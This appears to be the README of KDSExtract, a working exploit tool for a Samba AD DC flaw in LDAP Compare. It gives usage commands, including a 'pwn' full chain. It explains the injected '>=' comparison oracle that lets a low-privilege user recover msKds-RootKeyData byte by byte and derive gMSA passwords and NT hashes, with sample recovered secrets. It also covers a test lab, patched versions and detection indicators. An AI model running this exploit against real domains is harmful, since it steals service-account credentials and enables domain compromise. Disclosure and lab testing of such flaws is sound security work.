
Exploits CVE-2026-58222 to recover Samba KDS root keys and derive gMSA credentials from a low-privilege domain account.
Exploit for CVE-2026-58222 affecting Samba AD DC LDAP Compare.
An authenticated low-privilege domain user can turn LDAP Compare into an ordered oracle for confidential attributes. KDSExtract uses it to recover msKds-RootKeyData, then derives gMSA passwords offline with MS-GKDI.
low-priv user
│
▼
LDAP Compare injection
│
▼
ordered comparison oracle
│
▼
msKds-RootKeyData
│
▼
MS-GKDI / SP 800-108
│
▼
gMSA password + NT hash
pip install .
pytest
Requirements:
kdsextract check \
--host dc \
--user [email protected]
kdsextract list-keys \
--host dc \
--user [email protected]
kdsextract recover \
--host dc \
--user [email protected] \
--key <guid>
kdsextract list-gmsa \
--host dc \
--user [email protected]
kdsextract dump-gmsa \
--host dc \
--user [email protected] \
--name 'svcgmsa$' \
--verify-bind
kdsextract pwn \
--host dc \
--user [email protected] \
--verify-bind
Password sources:
--password
KDSEXTRACT_PASSWORD
interactive prompt
Use --json for machine-readable output.
The client tries LDAP first and falls back to LDAPS on port 636 when required.
check against a vulnerable DC:
VULNERABLE (CVE-2026-58222)
injected compare evaluates and confidential attributes participate
Against a patched DC:
NOT VULNERABLE
attribute operator injection rejected
LDAP result: invalidAttributeSyntax (21)
Full chain:
verdict: VULNERABLE
root keys:
effd1d54-... (gmsa-reference)
802da1146c207a75...
queries: 576
gMSA svcgmsa$
sid: S-1-5-21-...
root key: effd1d54-...
hash: SHA512
gkid: 364,15,14
password (utf-16 hex):
73764bf424123f6b...
NT hash:
cf30eb5212fe22e696bea95f02010e05
The vulnerable Samba LDAP Compare path built an internal filter similar to:
talloc_asprintf("(%s=%*s)", attribute, len, data)
The attribute name was not validated and the assertion value was not safely encoded.
Appending > to the attribute changes the internal comparison from equality to >=.
The internal lookup also ran without DSDB_MARK_REQ_UNTRUSTED. Confidential attributes could therefore affect the result even though normal LDAP Search hides them.
The resulting primitive is:
stored_value >= candidate ?
Samba compares binary values using memcmp, with shorter values ordered before longer ones.
KDSExtract performs a binary search for every byte. Candidate bytes are encoded as \XX, keeping the constructed filter printable while Samba decodes them back to binary during parsing.
A 64-byte KDS root key takes about 576 Compare requests.
Once msKds-RootKeyData is recovered, no more oracle requests are needed.
KDSExtract implements:
GkdiDerivationCtx"KDS service" derivation"GMSA PASSWORD" derivationThe implementation is byte-compatible with Samba's GKDI logic and is tested against Samba's test vectors.
If msKds-KDFParam is not readable, KDSExtract derives both common variants:
SHA512
SHA256
Samba-created root keys use SHA512 in the tested lab.
Samba hides msKds-ProvRootKey objects from ordinary users.
KDSExtract therefore does not depend on listing the root-key container.
It follows:
gMSA
↓
msDS-ManagedPasswordID
↓
root-key GUID
↓
root-key DN
The Compare oracle itself does not require normal Search access to the secret attribute.
cd lab
./run-demo.sh
The lab builds:
Samba 4.24.4 vulnerable
Samba 4.24.5 patched
Both DCs use equivalent lab.local environments containing:
svcgmsa$lowprivThe vulnerable DC is tested end to end.
| Test | 4.24.4 | 4.24.5 |
|---|---|---|
injected >= Compare | accepted | rejected with code 21 |
msKds-RootKeyData recovery | byte-exact | n/a |
| derived gMSA password | matches DC | n/a |
Ground truth:
KDS root key:
samba-tool domain kds root-key list --show-secrets
gMSA password:
samba-tool user getpassword
The demo exits successfully only when all assertions pass.
Reset the lab with:
docker compose down -v
Fixed in:
Samba 4.24.5
Samba 4.23.10
Samba 4.22.11
Released on 2026-07-28.
The patch:
ldb_valid_attr_nameldb_binary_encodeDSDB_MARK_REQ_UNTRUSTEDUseful indicators include:
>CN=Master Root KeysCVE-2026-58222 was reported by OpenAI Security Research as Samba bug 16148.
Samba patches were written by Stefan Metzmacher / SerNet.
The GKDI implementation was ported from Samba and cross-checked against GoldenGMSA:
https://github.com/Semperis/GoldenGMSA
Samba advisory:
https://www.samba.org/samba/security/CVE-2026-58222.html
Project license: MIT.